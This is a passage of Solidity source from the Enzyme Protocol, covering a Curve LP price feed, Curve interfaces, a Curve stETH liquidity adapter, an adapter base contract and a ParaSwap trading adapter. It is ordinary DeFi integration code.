underlyingAmounts_[0] = _derivativeAmount
.mul(ICurveLiquidityPool(derivativeInfo.pool).get_virtual_price())
.mul(10**derivativeInfo.invariantProxyAssetDecimals)
.div(VIRTUAL_PRICE_UNIT.mul(2));
}
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return derivativeToInfo[_asset].pool != address(0);
}
//////////////////////////
// DERIVATIVES REGISTRY //
//////////////////////////
/// @notice Adds Curve LP and/or liquidity gauge tokens to the price feed
/// @param _derivatives Curve LP and/or liquidity gauge tokens to add
/// @param _invariantProxyAssets The ordered assets that act as proxies to the pool invariants,
/// corresponding to each item in _derivatives, e.g., WETH for ETH-based pools
function addDerivatives(
address[] calldata _derivatives,
address[] calldata _invariantProxyAssets
) external onlyDispatcherOwner {
require(_derivatives.length > 0, "addDerivatives: Empty _derivatives");
require(
_derivatives.length == _invariantProxyAssets.length,
"addDerivatives: Unequal arrays"
);
for (uint256 i; i < _derivatives.length; i++) {
require(_derivatives[i] != address(0), "addDerivatives: Empty derivative");
require(
_invariantProxyAssets[i] != address(0),
"addDerivatives: Empty invariantProxyAsset"
);
require(!isSupportedAsset(_derivatives[i]), "addDerivatives: Value already set");
// First, try assuming that the derivative is an LP token
ICurveRegistry curveRegistryContract = ICurveRegistry(
ICurveAddressProvider(ADDRESS_PROVIDER).get_registry()
);
address pool = curveRegistryContract.get_pool_from_lp_token(_derivatives[i]);
// If the derivative is not a valid LP token, try to treat it as a liquidity gauge token
if (pool == address(0)) {
// We cannot confirm whether a liquidity gauge token is a valid token
// for a particular liquidity gauge, due to some pools using
// old liquidity gauge contracts that did not incorporate a token
pool = curveRegistryContract.get_pool_from_lp_token(
ICurveLiquidityGaugeToken(_derivatives[i]).lp_token()
);
// Likely unreachable as above calls will revert on Curve, but doesn't hurt
require(
pool != address(0),
"addDerivatives: Not a valid LP token or liquidity gauge token"
);
}
uint256 invariantProxyAssetDecimals = ERC20(_invariantProxyAssets[i]).decimals();
derivativeToInfo[_derivatives[i]] = DerivativeInfo({
pool: pool,
invariantProxyAsset: _invariantProxyAssets[i],
invariantProxyAssetDecimals: invariantProxyAssetDecimals
});
// Confirm that a non-zero price can be returned for the registered derivative
(, uint256[] memory underlyingAmounts) = calcUnderlyingValues(
_derivatives[i],
1 ether
);
require(underlyingAmounts[0] > 0, "addDerivatives: could not calculate valid price");
emit DerivativeAdded(
_derivatives[i],
pool,
_invariantProxyAssets[i],
invariantProxyAssetDecimals
);
}
}
/// @notice Removes Curve LP and/or liquidity gauge tokens from the price feed
/// @param _derivatives Curve LP and/or liquidity gauge tokens to add
function removeDerivatives(address[] calldata _derivatives) external onlyDispatcherOwner {
require(_derivatives.length > 0, "removeDerivatives: Empty _derivatives");
for (uint256 i; i < _derivatives.length; i++) {
require(_derivatives[i] != address(0), "removeDerivatives: Empty derivative");
require(isSupportedAsset(_derivatives[i]), "removeDerivatives: Value is not set");
delete derivativeToInfo[_derivatives[i]];
emit DerivativeRemoved(_derivatives[i]);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `ADDRESS_PROVIDER` variable
/// @return addressProvider_ The `ADDRESS_PROVIDER` variable value
function getAddressProvider() external view returns (address addressProvider_) {
return ADDRESS_PROVIDER;
}
/// @notice Gets the `DerivativeInfo` for a given derivative
/// @param _derivative The derivative for which to get the `DerivativeInfo`
/// @return derivativeInfo_ The `DerivativeInfo` value
function getDerivativeInfo(address _derivative)
external
view
returns (DerivativeInfo memory derivativeInfo_)
{
return derivativeToInfo[_derivative];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveAddressProvider interface
/// @author Enzyme Council <[email protected]>
interface ICurveAddressProvider {
function get_address(uint256) external view returns (address);
function get_registry() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveLiquidityGaugeToken interface
/// @author Enzyme Council <[email protected]>
/// @notice Common interface functions for all Curve liquidity gauge token contracts
interface ICurveLiquidityGaugeToken {
function lp_token() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveLiquidityPool interface
/// @author Enzyme Council <[email protected]>
interface ICurveLiquidityPool {
function coins(uint256) external view returns (address);
function get_virtual_price() external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveRegistry interface
/// @author Enzyme Council <[email protected]>
interface ICurveRegistry {
function get_gauges(address) external view returns (address[10] memory, int128[10] memory);
function get_lp_token(address) external view returns (address);
function get_pool_from_lp_token(address) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../interfaces/ICurveAddressProvider.sol";
import "../../../../interfaces/ICurveLiquidityGaugeV2.sol";
import "../../../../interfaces/ICurveLiquidityPool.sol";
import "../../../../interfaces/ICurveRegistry.sol";
import "../../../../interfaces/ICurveStableSwapSteth.sol";
import "../../../../interfaces/IWETH.sol";
import "../utils/AdapterBase2.sol";
/// @title CurveLiquidityStethAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for liquidity provision in Curve's steth pool (https://www.curve.fi/steth)
contract CurveLiquidityStethAdapter is AdapterBase2 {
int128 private constant POOL_INDEX_ETH = 0;
int128 private constant POOL_INDEX_STETH = 1;
address private immutable LIQUIDITY_GAUGE_TOKEN;
address private immutable LP_TOKEN;
address private immutable POOL;
address private immutable STETH_TOKEN;
address private immutable WETH_TOKEN;
constructor(
address _integrationManager,
address _liquidityGaugeToken,
address _lpToken,
address _pool,
address _stethToken,
address _wethToken
) public AdapterBase2(_integrationManager) {
LIQUIDITY_GAUGE_TOKEN = _liquidityGaugeToken;
LP_TOKEN = _lpToken;
POOL = _pool;
STETH_TOKEN = _stethToken;
WETH_TOKEN = _wethToken;
// Max approve contracts to spend relevant tokens
ERC20(_lpToken).safeApprove(_liquidityGaugeToken, type(uint256).max);
ERC20(_stethToken).safeApprove(_pool, type(uint256).max);
}
/// @dev Needed to receive ETH from redemption and to unwrap WETH
receive() external payable {}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "CURVE_LIQUIDITY_STETH";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
if (_selector == LEND_SELECTOR || _selector == LEND_AND_STAKE_SELECTOR) {
(
uint256 outgoingWethAmount,
uint256 outgoingStethAmount,
uint256 minIncomingAssetAmount
) = __decodeLendCallArgs(_encodedCallArgs);
if (outgoingWethAmount > 0 && outgoingStethAmount > 0) {
spendAssets_ = new address[](2);
spendAssets_[0] = WETH_TOKEN;
spendAssets_[1] = STETH_TOKEN;
spendAssetAmounts_ = new uint256[](2);
spendAssetAmounts_[0] = outgoingWethAmount;
spendAssetAmounts_[1] = outgoingStethAmount;
} else if (outgoingWethAmount > 0) {
spendAssets_ = new address[](1);
spendAssets_[0] = WETH_TOKEN;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingWethAmount;
} else {
spendAssets_ = new address[](1);
spendAssets_[0] = STETH_TOKEN;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingStethAmount;
}
incomingAssets_ = new address[](1);
if (_selector == LEND_SELECTOR) {
incomingAssets_[0] = LP_TOKEN;
} else {
incomingAssets_[0] = LIQUIDITY_GAUGE_TOKEN;
}
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
} else if (_selector == REDEEM_SELECTOR || _selector == UNSTAKE_AND_REDEEM_SELECTOR) {
(
uint256 outgoingAssetAmount,
uint256 minIncomingWethAmount,
uint256 minIncomingStethAmount,
bool receiveSingleAsset
) = __decodeRedeemCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
if (_selector == REDEEM_SELECTOR) {
spendAssets_[0] = LP_TOKEN;
} else {
spendAssets_[0] = LIQUIDITY_GAUGE_TOKEN;
}
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
if (receiveSingleAsset) {
incomingAssets_ = new address[](1);
minIncomingAssetAmounts_ = new uint256[](1);
if (minIncomingWethAmount == 0) {
require(
minIncomingStethAmount > 0,
"parseAssetsForMethod: No min asset amount specified for receiveSingleAsset"
);
incomingAssets_[0] = STETH_TOKEN;
minIncomingAssetAmounts_[0] = minIncomingStethAmount;
} else {
require(
minIncomingStethAmount == 0,
"parseAssetsForMethod: Too many min asset amounts specified for receiveSingleAsset"
);
incomingAssets_[0] = WETH_TOKEN;
minIncomingAssetAmounts_[0] = minIncomingWethAmount;
}
} else {
incomingAssets_ = new address[](2);
incomingAssets_[0] = WETH_TOKEN;
incomingAssets_[1] = STETH_TOKEN;
minIncomingAssetAmounts_ = new uint256[](2);
minIncomingAssetAmounts_[0] = minIncomingWethAmount;
minIncomingAssetAmounts_[1] = minIncomingStethAmount;
}
} else if (_selector == STAKE_SELECTOR) {
uint256 outgoingLPTokenAmount = __decodeStakeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = LP_TOKEN;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingLPTokenAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = LIQUIDITY_GAUGE_TOKEN;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = outgoingLPTokenAmount;
} else if (_selector == UNSTAKE_SELECTOR) {
uint256 outgoingLiquidityGaugeTokenAmount = __decodeUnstakeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = LIQUIDITY_GAUGE_TOKEN;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingLiquidityGaugeTokenAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = LP_TOKEN;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = outgoingLiquidityGaugeTokenAmount;
} else {
revert("parseAssetsForMethod: _selector invalid");
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Lends assets for steth LP tokens
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lend(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
uint256 outgoingWethAmount,
uint256 outgoingStethAmount,
uint256 minIncomingLiquidityGaugeTokenAmount
) = __decodeLendCallArgs(_encodedCallArgs);
__lend(outgoingWethAmount, outgoingStethAmount, minIncomingLiquidityGaugeTokenAmount);
}
/// @notice Lends assets for steth LP tokens, then stakes the received LP tokens
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lendAndStake(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
uint256 outgoingWethAmount,
uint256 outgoingStethAmount,
uint256 minIncomingLiquidityGaugeTokenAmount
) = __decodeLendCallArgs(_encodedCallArgs);
__lend(outgoingWethAmount, outgoingStethAmount, minIncomingLiquidityGaugeTokenAmount);
__stake(ERC20(LP_TOKEN).balanceOf(address(this)));
}
/// @notice Redeems steth LP tokens
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function redeem(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
uint256 outgoingLPTokenAmount,
uint256 minIncomingWethAmount,
uint256 minIncomingStethAmount,
bool redeemSingleAsset
) = __decodeRedeemCallArgs(_encodedCallArgs);
__redeem(
outgoingLPTokenAmount,
minIncomingWethAmount,
minIncomingStethAmount,
redeemSingleAsset
);
}
/// @notice Stakes steth LP tokens
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function stake(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
uint256 outgoingLPTokenAmount = __decodeStakeCallArgs(_encodedCallArgs);
__stake(outgoingLPTokenAmount);
}
/// @notice Unstakes steth LP tokens
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function unstake(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
uint256 outgoingLiquidityGaugeTokenAmount = __decodeUnstakeCallArgs(_encodedCallArgs);
__unstake(outgoingLiquidityGaugeTokenAmount);
}
/// @notice Unstakes steth LP tokens, then redeems them
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function unstakeAndRedeem(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
uint256 outgoingLiquidityGaugeTokenAmount,
uint256 minIncomingWethAmount,
uint256 minIncomingStethAmount,
bool redeemSingleAsset
) = __decodeRedeemCallArgs(_encodedCallArgs);
__unstake(outgoingLiquidityGaugeTokenAmount);
__redeem(
outgoingLiquidityGaugeTokenAmount,
minIncomingWethAmount,
minIncomingStethAmount,
redeemSingleAsset
);
}
// PRIVATE FUNCTIONS
/// @dev Helper to execute lend
function __lend(
uint256 _outgoingWethAmount,
uint256 _outgoingStethAmount,
uint256 _minIncomingLPTokenAmount
) private {
if (_outgoingWethAmount > 0) {
IWETH((WETH_TOKEN)).withdraw(_outgoingWethAmount);
}
ICurveStableSwapSteth(POOL).add_liquidity{value: _outgoingWethAmount}(
[_outgoingWethAmount, _outgoingStethAmount],
_minIncomingLPTokenAmount
);
}
/// @dev Helper to execute redeem
function __redeem(
uint256 _outgoingLPTokenAmount,
uint256 _minIncomingWethAmount,
uint256 _minIncomingStethAmount,
bool _redeemSingleAsset
) private {
if (_redeemSingleAsset) {
// "_minIncomingWethAmount > 0 XOR _minIncomingStethAmount > 0" has already been
// validated in parseAssetsForMethod()
if (_minIncomingWethAmount > 0) {
ICurveStableSwapSteth(POOL).remove_liquidity_one_coin(
_outgoingLPTokenAmount,
POOL_INDEX_ETH,
_minIncomingWethAmount
);
IWETH(payable(WETH_TOKEN)).deposit{value: payable(address(this)).balance}();
} else {
ICurveStableSwapSteth(POOL).remove_liquidity_one_coin(
_outgoingLPTokenAmount,
POOL_INDEX_STETH,
_minIncomingStethAmount
);
}
} else {
ICurveStableSwapSteth(POOL).remove_liquidity(
_outgoingLPTokenAmount,
[_minIncomingWethAmount, _minIncomingStethAmount]
);
IWETH(payable(WETH_TOKEN)).deposit{value: payable(address(this)).balance}();
}
}
/// @dev Helper to execute stake
function __stake(uint256 _lpTokenAmount) private {
ICurveLiquidityGaugeV2(LIQUIDITY_GAUGE_TOKEN).deposit(_lpTokenAmount, address(this));
}
/// @dev Helper to execute unstake
function __unstake(uint256 _liquidityGaugeTokenAmount) private {
ICurveLiquidityGaugeV2(LIQUIDITY_GAUGE_TOKEN).withdraw(_liquidityGaugeTokenAmount);
}
///////////////////////
// ENCODED CALL ARGS //
///////////////////////
/// @dev Helper to decode the encoded call arguments for lending
function __decodeLendCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
uint256 outgoingWethAmount_,
uint256 outgoingStethAmount_,
uint256 minIncomingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (uint256, uint256, uint256));
}
/// @dev Helper to decode the encoded call arguments for redeeming.
/// If `receiveSingleAsset_` is `true`, then one (and only one) of
/// `minIncomingWethAmount_` and `minIncomingStethAmount_` must be >0
/// to indicate which asset is to be received.
function __decodeRedeemCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
uint256 outgoingAssetAmount_,
uint256 minIncomingWethAmount_,
uint256 minIncomingStethAmount_,
bool receiveSingleAsset_
)
{
return abi.decode(_encodedCallArgs, (uint256, uint256, uint256, bool));
}
/// @dev Helper to decode the encoded call arguments for staking
function __decodeStakeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (uint256 outgoingLPTokenAmount_)
{
return abi.decode(_encodedCallArgs, (uint256));
}
/// @dev Helper to decode the encoded call arguments for unstaking
function __decodeUnstakeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (uint256 outgoingLiquidityGaugeTokenAmount_)
{
return abi.decode(_encodedCallArgs, (uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `LIQUIDITY_GAUGE_TOKEN` variable
/// @return liquidityGaugeToken_ The `LIQUIDITY_GAUGE_TOKEN` variable value
function getLiquidityGaugeToken() external view returns (address liquidityGaugeToken_) {
return LIQUIDITY_GAUGE_TOKEN;
}
/// @notice Gets the `LP_TOKEN` variable
/// @return lpToken_ The `LP_TOKEN` variable value
function getLPToken() external view returns (address lpToken_) {
return LP_TOKEN;
}
/// @notice Gets the `POOL` variable
/// @return pool_ The `POOL` variable value
function getPool() external view returns (address pool_) {
return POOL;
}
/// @notice Gets the `STETH_TOKEN` variable
/// @return stethToken_ The `STETH_TOKEN` variable value
function getStethToken() external view returns (address stethToken_) {
return STETH_TOKEN;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveLiquidityGaugeV2 interface
/// @author Enzyme Council <[email protected]>
interface ICurveLiquidityGaugeV2 {
function deposit(uint256, address) external;
function withdraw(uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveStableSwapSteth interface
/// @author Enzyme Council <[email protected]>
interface ICurveStableSwapSteth {
function add_liquidity(uint256[2] calldata, uint256) external payable returns (uint256);
function remove_liquidity(uint256, uint256[2] calldata) external returns (uint256[2] memory);
function remove_liquidity_one_coin(
uint256,
int128,
uint256
) external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./AdapterBase.sol";
/// @title AdapterBase2 Contract
/// @author Enzyme Council <[email protected]>
/// @notice A base contract for integration adapters that extends AdapterBase
/// @dev This is a temporary contract that will be merged into AdapterBase with the next release
abstract contract AdapterBase2 is AdapterBase {
/// @dev Provides a standard implementation for transferring incoming assets and
/// unspent spend assets from an adapter to a VaultProxy at the end of an adapter action
modifier postActionAssetsTransferHandler(
address _vaultProxy,
bytes memory _encodedAssetTransferArgs
) {
_;
(
,
address[] memory spendAssets,
,
address[] memory incomingAssets
) = __decodeEncodedAssetTransferArgs(_encodedAssetTransferArgs);
__transferFullAssetBalances(_vaultProxy, incomingAssets);
__transferFullAssetBalances(_vaultProxy, spendAssets);
}
/// @dev Provides a standard implementation for transferring incoming assets
/// from an adapter to a VaultProxy at the end of an adapter action
modifier postActionIncomingAssetsTransferHandler(
address _vaultProxy,
bytes memory _encodedAssetTransferArgs
) {
_;
(, , , address[] memory incomingAssets) = __decodeEncodedAssetTransferArgs(
_encodedAssetTransferArgs
);
__transferFullAssetBalances(_vaultProxy, incomingAssets);
}
/// @dev Provides a standard implementation for transferring unspent spend assets
/// from an adapter to a VaultProxy at the end of an adapter action
modifier postActionSpendAssetsTransferHandler(
address _vaultProxy,
bytes memory _encodedAssetTransferArgs
) {
_;
(, address[] memory spendAssets, , ) = __decodeEncodedAssetTransferArgs(
_encodedAssetTransferArgs
);
__transferFullAssetBalances(_vaultProxy, spendAssets);
}
constructor(address _integrationManager) public AdapterBase(_integrationManager) {}
/// @dev Helper to transfer full asset balances of current contract to the specified target
function __transferFullAssetBalances(address _target, address[] memory _assets) internal {
for (uint256 i = 0; i < _assets.length; i++) {
uint256 balance = ERC20(_assets[i]).balanceOf(address(this));
if (balance > 0) {
ERC20(_assets[i]).safeTransfer(_target, balance);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/IParaSwapAugustusSwapper.sol";
import "../../../../interfaces/IWETH.sol";
import "../utils/AdapterBase.sol";
/// @title ParaSwapAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for interacting with ParaSwap
contract ParaSwapAdapter is AdapterBase {
using SafeMath for uint256;
string private constant REFERRER = "enzyme";
address private immutable EXCHANGE;
address private immutable TOKEN_TRANSFER_PROXY;
address private immutable WETH_TOKEN;
constructor(
address _integrationManager,
address _exchange,
address _tokenTransferProxy,
address _wethToken
) public AdapterBase(_integrationManager) {
EXCHANGE = _exchange;
TOKEN_TRANSFER_PROXY = _tokenTransferProxy;
WETH_TOKEN = _wethToken;
}
/// @dev Needed to receive ETH refund from sent network fees
receive() external payable {}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "PARASWAP";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
require(_selector == TAKE_ORDER_SELECTOR, "parseAssetsForMethod: _selector invalid");
(
address incomingAsset,
uint256 minIncomingAssetAmount,
,
address outgoingAsset,
uint256 outgoingAssetAmount,
IParaSwapAugustusSwapper.Path[] memory paths
) = __decodeCallArgs(_encodedCallArgs);
// Format incoming assets
incomingAssets_ = new address[](1);
incomingAssets_[0] = incomingAsset;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
// Format outgoing assets depending on if there are network fees
uint256 totalNetworkFees = __calcTotalNetworkFees(paths);
if (totalNetworkFees > 0) {
// We are not performing special logic if the incomingAsset is the fee asset
if (outgoingAsset == WETH_TOKEN) {
spendAssets_ = new address[](1);
spendAssets_[0] = outgoingAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount.add(totalNetworkFees);
} else {
spendAssets_ = new address[](2);
spendAssets_[0] = outgoingAsset;
spendAssets_[1] = WETH_TOKEN;
spendAssetAmounts_ = new uint256[](2);
spendAssetAmounts_[0] = outgoingAssetAmount;
spendAssetAmounts_[1] = totalNetworkFees;
}
} else {
spendAssets_ = new address[](1);
spendAssets_[0] = outgoingAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Trades assets on ParaSwap
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function takeOrder(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
__takeOrder(_vaultProxy, _encodedCallArgs);
}
// PRIVATE FUNCTIONS
/// @dev Helper to parse the total amount of network fees (in ETH) for the multiSwap() call
function __calcTotalNetworkFees(IParaSwapAugustusSwapper.Path[] memory _paths)
private
pure
returns (uint256 totalNetworkFees_)
{
for (uint256 i; i < _paths.length; i++) {
totalNetworkFees_ = totalNetworkFees_.add(_paths[i].totalNetworkFee);
}
return totalNetworkFees_;
}
/// @dev Helper to decode the encoded callOnIntegration call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address incomingAsset_,
uint256 minIncomingAssetAmount_,
uint256 expectedIncomingAssetAmount_, // Passed as a courtesy to ParaSwap for analytics
address outgoingAsset_,
uint256 outgoingAssetAmount_,
IParaSwapAugustusSwapper.Path[] memory paths_
)
{
return
abi.decode(
_encodedCallArgs,
(address, uint256, uint256, address, uint256, IParaSwapAugustusSwapper.Path[])
);
}
/// @dev Helper to encode the call to ParaSwap multiSwap() as low-level calldata.
/// Avoids the stack-too-deep error.
function __encodeMultiSwapCallData(
address _vaultProxy,
address _incomingAsset,
uint256 _minIncomingAssetAmount,
uint256 _expectedIncomingAssetAmount, // Passed as a courtesy to ParaSwap for analytics
address _outgoingAsset,
uint256 _outgoingAssetAmount,
IParaSwapAugustusSwapper.Path[] memory _paths
) private pure returns (bytes memory multiSwapCallData) {
return
abi.encodeWithSelector(
IParaSwapAugustusSwapper.multiSwap.selector,
_outgoingAsset, // fromToken
_incomingAsset, // toToken
_outgoingAssetAmount, // fromAmount
_minIncomingAssetAmount, // toAmount
_expectedIncomingAssetAmount, // expectedAmount
_paths, // path
0, // mintPrice
payable(_vaultProxy), // beneficiary
0, // donationPercentage
REFERRER // referrer
);
}
/// @dev Helper to execute ParaSwapAugustusSwapper.multiSwap() via a low-level call.
/// Avoids the stack-too-deep error.
function __executeMultiSwap(bytes memory _multiSwapCallData, uint256 _totalNetworkFees)
private
{
(bool success, bytes memory returnData) = EXCHANGE.call{value: _totalNetworkFees}(
_multiSwapCallData
);
require(success, string(returnData));
}
/// @dev Helper for the inner takeOrder() logic.
/// Avoids the stack-too-deep error.
function __takeOrder(address _vaultProxy, bytes memory _encodedCallArgs) private {
(
address incomingAsset,
uint256 minIncomingAssetAmount,
uint256 expectedIncomingAssetAmount,
address outgoingAsset,
uint256 outgoingAssetAmount,
IParaSwapAugustusSwapper.Path[] memory paths
) = __decodeCallArgs(_encodedCallArgs);
__approveMaxAsNeeded(outgoingAsset, TOKEN_TRANSFER_PROXY, outgoingAssetAmount);
// If there are network fees, unwrap enough WETH to cover the fees
uint256 totalNetworkFees = __calcTotalNetworkFees(paths);
if (totalNetworkFees > 0) {
__unwrapWeth(totalNetworkFees);
}
// Get the callData for the low-level multiSwap() call
bytes memory multiSwapCallData = __encodeMultiSwapCallData(
_vaultProxy,
incomingAsset,
minIncomingAssetAmount,
expectedIncomingAssetAmount,
outgoingAsset,
outgoingAssetAmount,
paths
);
// Execute the trade on ParaSwap
__executeMultiSwap(multiSwapCallData, totalNetworkFees);
// If fees were paid and ETH remains in the contract, wrap it as WETH so it can be returned
if (totalNetworkFees > 0) {
__wrapEth();
}
}
